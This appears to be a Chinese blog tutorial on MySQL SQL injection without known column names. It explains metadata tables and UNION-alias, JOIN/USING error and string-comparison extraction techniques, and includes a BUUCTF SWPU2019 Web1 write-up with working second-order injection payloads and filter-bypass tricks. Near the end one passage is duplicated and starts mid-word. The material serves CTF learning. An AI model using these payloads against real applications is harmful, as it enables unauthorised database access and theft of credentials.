# SQL 无列名注入
前段时间,队里某位大佬发了一个关于 sql 注入无列名的文章,感觉好像很有用,特地研究下。
对于这一个库,我所知晓的内容并不多,并且之前总结 SQL 注入的时候忘记说这个数据库了,在这里补充一下,简单点儿来说,就是这个数据库中的某些表存放着数据库的一些信息,例如,我电脑中所有的数据库中存在如下的几个数据库:
1 2 3 4 5 6 7 8 9 10 11 12 13 mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sakila | | sys | | test | | world | +--------------------+ 7 rows in set (0.00 sec)
那么我们通过查 information_schema 中的 SCHEMATA 表中的 SCHEMA_NAME 字段可以得到所有数据库的库名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mysql> use information_schema; Database changed mysql> select SCHEMA_NAME from SCHEMATA; +--------------------+ | SCHEMA_NAME | +--------------------+ | mysql | | information_schema | | performance_schema | | sys | | sakila | | world | | test | +--------------------+ 7 rows in set (0.00 sec)
同时,tables 这个表中存在很多关于表的内容的字段,例如:
table_schema,这个字段用于存放某张表属于哪一个数据库的字段。
table_name, 这个字段用于存放所有的表的名字
如果想要查到某个数据库中的所有表名,则需要查询 table_name 这个字段,然后用 where 来限制 table_schema 查找对应的数据库:
1 2 3 4 5 6 7 mysql> select table_name from TABLES where table_schema='test'; +------------+ | TABLE_NAME | +------------+ | questions | +------------+ 1 row in set (0.00 sec)
另外,information_schema 库中还有一张 columns 表,这里面存的是所有字段的信息,columns 表中存在 table_name , table_schema , column_name 对于 table_schema,这里面则是所有字段所在表的名字,而 table_schema 则是存放了所有字段的表所在的数据库的名字,另外,column_name 则是存放了所有的字段的名字,因此,想要查询到某个数据库中所有字段的名字,或者某张表的所有的字段的名字则可以用如下的命令查找:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 mysql> select column_name from columns where table_schema='test'; #查询某个库里面所有的字段的名字 +-------------+ | COLUMN_NAME | +-------------+ | answer | | id | | quest | +-------------+ 3 rows in set (0.00 sec) mysql> select column_name from columns where table_name='questions'; #查询某张表中所有字段的内容(由于这个库中只有一张表,所以结果一样) +-------------+ | COLUMN_NAME | +-------------+ | answer | | id | | quest | +-------------+ 3 rows in set (0.00 sec)
# 关于 InnoDb 引擎:
我不知道这个具体是个什么东西,有什么用,但是还是记录一下,有条件再拿来研究看看。
从 MYSQL5.5.8 开始,InnoDB 成为其默认存储引擎。而在 MYSQL5.6 以上的版本中,mysql 数据库中 inndb 增加了 innodb_index_stats 和 innodb_table_stats 两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。其利用方式是:mysql.innodb_index_stats 和 mysql.innodb_table_stats
依旧拿上面的那张表作为延时,也就是 test 库里面的 questions 这张表。
再 mysql 这个数据库种存在两张表,里面分别存放了一些内容,例如,innodb_table_stats 这个表,存放的是所有的表名,也就是 database_name 还有 table_name 这两张表,但是没有存放列名,因此,这里可以试着访问下:
1 2 3 4 5 6 7 mysql> select * from innodb_table_stats where database_name='ctfer'; +---------------+------------+---------------------+--------+----------------------+--------------------------+ | database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes | +---------------+------------+---------------------+--------+----------------------+--------------------------+ | ctfer | users | 2024-03-02 16:37:10 | 0 | 1 | 0 | +---------------+------------+---------------------+--------+----------------------+--------------------------+ 1 row in set (0.00 sec)
再然后就是 mysql 数据库中的 innodb_index_stats 表,里面我总结不出来具体是什么信息,但是里面存放有所有数据库中的所有表的信息,也就是 database_name 还有 table_name 这两张表,不过,还是没有存放字段的信息,这里可以试着访问下:
1 2 3 4 5 6 7 8 9 mysql> select * from innodb_index_stats where database_name='ctfer'; +---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+ | database_name | table_name | index_name | last_update | stat_name | stat_value | sample_size | stat_description | +---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+ | ctfer | users | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | n_diff_pfx01 | 0 | 1 | DB_ROW_ID | | ctfer | users | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | n_leaf_pages | 1 | NULL | Number of leaf pages in the index | | ctfer | users | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | size | 1 | NULL | Number of pages in the index | +---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+ 3 rows in set (0.00 sec)
# 关于 sys 数据库:
在 5.7 以上的 MYSQL 中,新增了 sys 数据库,该库的基础数据来自 information_schema 和 performance_chema,其本身不存储数据。可以通过其中的 schema_auto_increment_columns 来获取表名。其用法是 sys.schema_auto_increment_columns
在 sys 数据库种,存在一个 schema_auto_increment_columns 表,里面存在几个字段,用于存放数据库名和表名以及字段名,有 table_schema 以及 table_name 还有 column_name ,但是,不知道为啥,我这里查询到的内容并不完全,少了很多内容,不过还是先仍在这儿吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 mysql> select * from schema_auto_increment_columns; +--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+ | table_schema | table_name | column_name | data_type | column_type | is_signed | is_unsigned | max_value | auto_increment | auto_increment_ratio | +--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+ | sakila | payment | payment_id | smallint | smallint unsigned | 0 | 1 | 65535 | 16049 | 0.2449 | | sakila | category | category_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 16 | 0.0627 | | sakila | language | language_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 6 | 0.0235 | | sakila | film | film_id | smallint | smallint unsigned | 0 | 1 | 65535 | 1000 | 0.0153 | | sakila | address | address_id | smallint | smallint unsigned | 0 | 1 | 65535 | 605 | 0.0092 | | sakila | city | city_id | smallint | smallint unsigned | 0 | 1 | 65535 | 600 | 0.0092 | | sakila | customer | customer_id | smallint | smallint unsigned | 0 | 1 | 65535 | 599 | 0.0091 | | sakila | staff | staff_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 2 | 0.0078 | | sakila | store | store_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 2 | 0.0078 | | sakila | actor | actor_id | smallint | smallint unsigned | 0 | 1 | 65535 | 200 | 0.0031 | | sakila | country | country_id | smallint | smallint unsigned | 0 | 1 | 65535 | 109 | 0.0017 | | sakila | inventory | inventory_id | mediumint | mediumint unsigned | 0 | 1 | 16777215 | 4581 | 0.0003 | | sakila | rental | rental_id | int | int | 1 | 0 | 2147483647 | 16049 | 0.0000 | | world | city | ID | int | int | 1 | 0 | 2147483647 | 4079 | 0.0000 | +--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+ 14 rows in set (0.01 sec)
# 无列名注入–union:
# 原理:
例如,对于如下的一个表:
1 2 3 4 5 6 7 mysql> select * from users; +----------+-----------+-----------------------------------+ | username | password | flag | +----------+-----------+-----------------------------------+ | xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | +----------+-----------+-----------------------------------+ 1 row in set (0.00 sec)
如果我们想要进行查询,那么则需要表明,甚至是库名,不过,可以通过 table_schema=database () 来指定库名,因此,想要查询内容,则表名似乎成为了必须的内容,但是,在进行 sql 注入的时候,有的时候会对 information 进行过滤,因此,则无法做题,那么,这里则需要利用 union 的方式进行无列名的注入。
如果我们想要查询到这个 flag 的话,那么我们或许可以考虑将字段修改为我们能够查询到的字段,比如,1、2、3,所以,使用如下命令做个尝试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mysql> select 1,2,3; +---+---+---+ | 1 | 2 | 3 | +---+---+---+ | 1 | 2 | 3 | +---+---+---+ 1 row in set (0.00 sec) mysql> select 1,2,3 union select * from users; +--------+-----------+-----------------------------------+ | 1 | 2 | 3 | +--------+-----------+-----------------------------------+ | 1 | 2 | 3 | | xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | +--------+-----------+-----------------------------------+ 2 rows in set (0.00 sec)
可以知道的是,这里通过两次查询,第一次查询了 1,2,3 三个字段,第二次查询了 users 表中的所有字段,然后将 users 表中的所有字段联合在第一次查询到的字段中输出出来,根据这种情况,下面则有两种方式查询到 flag 的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 mysql> select `3` from (select 1,2,3 union select * from users)a; #联合了1,2,3之后,如果用数字查询的话需要用反引号来表示引用,而不是一个值 +-----------------------------------+ | 3 | +-----------------------------------+ | 3 | | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | +-----------------------------------+ 2 rows in set (0.00 sec) mysql> select b from (select 1,2,3 as b union select * from users)a; #这里通过3 as b 的方式给字段3重命名为b,然后再进行插叙 +-----------------------------------+ | b | +-----------------------------------+ | 3 | | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | +-----------------------------------+ 2 rows in set (0.00 sec)
注:这里不知道为何需要在括号外面随意写一些字符,如果有知道的话请帮忙讲解一下。
# 题目案例–BUUCTF----[SWPU2019] Web1:
刚拿到这道题的时候,我是一点儿思路都没有,全称黑人问号,即使这道这道题的考点是 sql 注入也是一样的,完全找不到下手的点。
最开始,一个登陆框一度让我认为是 sql 注入的万能密码,结果不是,弱密码?猜了几个也没才出来,因此,可以排除是弱密码以及万能密码了,跟着 dalao 们的 wp 做,发现这里可以直接注册一个非 admin 的账号,好吧,我人傻了,那就随便注册一下,账号 qwe,密码 123456,登录。
登录之后是这样的一个内容:
这里,似乎能点的超链接只有一个申请发布广告,下面那一个点了之后似乎就退出登录了,显然是错的,所以点一下申请发布广告:
出现了这样的一个页面,那么,这个又代表了什么呢?如果不是明确地指出这道题是 sql 注入的话,我可能还是会无脑认为这个题目是一道 XSS 的漏洞,那么,这个到底是个啥?
看了下 dalao 们的 wp,说的是这是一道二次注入,是一道我没有遇到过的漏洞。
# 什么是二次注入:
二次注入就是指以储存(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致注入。
# 二次注入的原理:
首先,对于某些字符,在进行数据库插入数据时,对其中的某些特殊字符进行了转义处理,比如 1’变成了 1\’ 在写入数据库的时候保留了原来的数据,也就是 1’。然后,开发者又默认了存入数据库中的数据都是安全的,因此,在进行查询时,直接从数据库中取出而已树据,并没有进行进一步的检验的处理,在下一次的使用中拼凑在一起,就形成了二次注入。
# 继续做题:
既然这道题是个二次注入的题目,那么就应该考虑,使用 sql 注入的方式了。首先构造语句,判断注入类型以及想办法清楚到底过滤了那些关键字,首先构造 sql 语句,之后申请,然后广告详情:
得到了
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’ limit 0,1’ at line 1
的一个回显,通过报错信息,或许是一个字符型注入,紧接着,判断过滤,经过多次尝试,发现过滤了的有:
or , # , 空格,order by ,information_schema
对于空格而言,则可以使用 /**/ 来绕过,order by 则可以使用 group by ,# 则可以使用,'3 来闭合后面的引号来绕过,另外,information_schema 则可以使用最开始说到的无列名注入的相关的知识了,通过 InnoDb 引擎查表名,第一个 payload 为:
1 1'/**/group/**/by/**/22,'3
首先,构造的 group by 后面的整数位 22 的时候,没有出现错误,但是,当整数为 23 的时候,却出现了报错:
大致可以推测出,字段总的有 22 个。
那么,知道了总的有多少个字段之后,就可以试着获得数据库名和表名了,构造的 payload 分别为:
首先通过构造如下 payload 获取回显点,最后发现,回显点是 2,3
1 -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
获得数据库名,成功拿到数据库为 web1:
1 1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
获得表名:
1 1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
最后确定,web1 这个数据库中存在的表为如下:
根据 dalao 们的 wp,他们使用的都是 users 这个表,因此,这里就不用一个表一个表地查了,直接 users 这个表梭哈:
1 1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
该 payload 是利用了上面说到的无列名地 union 方法进行的,当然,为啥确定 users 表中存在 3 个字段呢?因为经过试错,发现一个字段,两个字段以及四个以上的时候,均是报错,所以,可以利用这一点,进行查询,然后通过
然后通过修改 as b 所在的地方,比如 1 的后方或者 2 的后方对列进行查找,最后发现在第三列查到了 flag:
完成啦 (p≧w≦q) 。
# 无列名注入–join:
当然,由于 union 在的地位太过重要,因此有的时候可能会直接对 union 进行过滤,这个时候呢,就需要用到 join 来进行注入。
在那之前,先讲一下相关的前置知识,虽然我也不懂这些,不过还是先记录一下:
join 连接两张表
using () 用于两张表之间的 join 连接查询,并且 using () 中的列在两张表中都存在,作为 join 的条件
首先,还是之前的那一个 ctfer 的数据库,下面通过这个数据库做几个实验:
1 2 3 4 5 6 7 mysql> select * from users as a join users as b; +----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+ | username | password | flag | username | password | flag | +----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+ | xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | +----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+ 1 row in set (0.00 sec)
可以发现,查询的两次同一个表,被拼接成了一个 ,那么,这个有什么用呢?试试在这之前加上一个查询,看看查询这拼接到一起的这个表:
1 2 mysql> select * from (select * from users as a join users as b)a; ERROR 1060 (42S21): Duplicate column name 'username'
这里发现,报错了,并且还是字段名重复的错误,注:括号外面必须得加上任意字母,否则会报 ERROR 1248 (42000): Every derived table must have its own alias 的错误 ,因此,则可以使用这种方式获得所有的列名,不过前提还是得用 InnoDb 引擎 来获取数据库名以及表名。
根据上面的那个可以知道的是,其中一个字段的名字,但是,flag 或许并不在这个字段里,那么,就需要想点办法获得下一个字段的名字了,不过,在那之前,得先排除掉已经知道的字段名的干扰,可以使用如下方法:
1 2 3 4 5 6 7 mysql> select * from users as a join users as b using(username); +----------+-----------+-----------------------------------+-----------+-----------------------------------+ | username | password | flag | password | flag | +----------+-----------+-----------------------------------+-----------+-----------------------------------+ | xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | +----------+-----------+-----------------------------------+-----------+-----------------------------------+ 1 row in set (0.00 sec)
看看上面的内容,发现在增加了一个 **using (username)** 之后,username 这个字段似乎奇迹般地没了,不过这里我不是很清楚原理是什么,不过,暂时能用就行,记录一下,以后有机会学到了这里再进行补充 。那么,到了这个时候,重复的字段就只有 password 和 flag 了,于是,再用如下的语句进行查询看看:
1 2 mysql> select * from (select * from users as a join users as b using(username))a; ERROR 1060 (42S21): Duplicate column name 'password'
成功查询到了 password 这个字段名,紧接着,将 password 加入 using () 函数中,如下,即可拿到 flag 字段的字段名:
1 2 mysql> select * from (select * from users as a join users as b using(username,password))a; ERROR 1060 (42S21): Duplicate column name 'flag'
最后一步,如果将 flag 再填进 using () 函数中呢?会出现如下情况:
1 2 3 4 5 6 7 mysql> select * from (select * from users as a join users as b using(username,password,flag))a; +----------+-----------+-----------------------------------+ | username | password | flag | +----------+-----------+-----------------------------------+ | xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | +----------+-----------+-----------------------------------+ 1 row in set (0.00 sec)
内容被成功查询出来了,之后再怎么办就得根据题目的实际情况决定了,成功了!!! (p≧w≦q)
# 无列名注入–ascii 位偏移:
这个方法,是有点类似于 sql 盲注的爆破的,利用的是字符串进行比较是按位置进行比较,从最开始的那个开始,一位一位地比较,因此,当得到数据库名以及表名之后,则可以进行如下操作:
不过这种方法有个前提,就是需要表内只有一个字段,不然只能获取到第一个字段的字段名。
1 2 3 4 5 6 7 mysql> select username from users; +----------+ | username | +----------+ | xiaomi | +----------+ 1 row in set (0.00 sec)
首先可以知道的是,username 中的内容是 xiaomi,因此,用如下方式可以进行比对:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mysql> select (select 'x')>(select username from users); +-------------------------------------------+ | (select 'x')>(select username from users) | +-------------------------------------------+ | 0 | +-------------------------------------------+ 1 row in set (0.00 sec) mysql> select (select 'y')>(select username from users); +-------------------------------------------+ | (select 'y')>(select username from users) | +-------------------------------------------+ | 1 | +-------------------------------------------+ 1 row in set (0.00 sec)
因为我这里存在三个字段,所以这里只有指定一下某个表进行查询 。显而易见,在第一行中,我们用 x 进行对比,返回结果为 0,对比 y 的时候返回结果为 1,也就是说,这个字段的内容的第一位为 x,接下来进行后续的对比:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mysql> select (select 'xi')>(select username from users); +--------------------------------------------+ | (select 'xi')>(select username from users) | +--------------------------------------------+ | 0 | +--------------------------------------------+ 1 row in set (0.00 sec) mysql> select (select 'xj')>(select username from users); +--------------------------------------------+ | (select 'xj')>(select username from users) | +--------------------------------------------+ | 1 | +--------------------------------------------+ 1 row in set (0.00 sec)
后续的查询操作也就很明显了,当然,这里如果合适的话其实可以利用 python 写个爬虫来进行查询的:
1 2 3 4 5 6 7 mysql> select (select 'xiaomia')>(select username from users); +-------------------------------------------------+ | (select 'xiaomia')>(select username from users) | +-------------------------------------------------+ | 1 | +-------------------------------------------------+ 1 row in set (0.00 sec)
当然,如果查询到最后一个,在这里也就是 xiaomi 的第二个 i 的之后,如果再对后面进行对比的时候无论如何也是 1,这里我做一个猜测,应该是因为字符串的结尾是以 \x00 结尾,因此,每一个可显示字符都要比这个字符大。
1 2 3 4 5 6 7 ect 'xiaomia')>(select username from users); +-------------------------------------------------+ | (select 'xiaomia')>(select username from users) | +-------------------------------------------------+ | 1 | +-------------------------------------------------+ 1 row in set (0.00 sec)
当然,如果查询到最后一个,在这里也就是 xiaomi 的第二个 i 的之后,如果再对后面进行对比的时候无论如何也是 1,这里我做一个猜测,应该是因为字符串的结尾是以 \x00 结尾,因此,每一个可显示字符都要比这个字符大。
好了,ascii 位偏移的无列名注入也说完了!!! (p≧w≦q)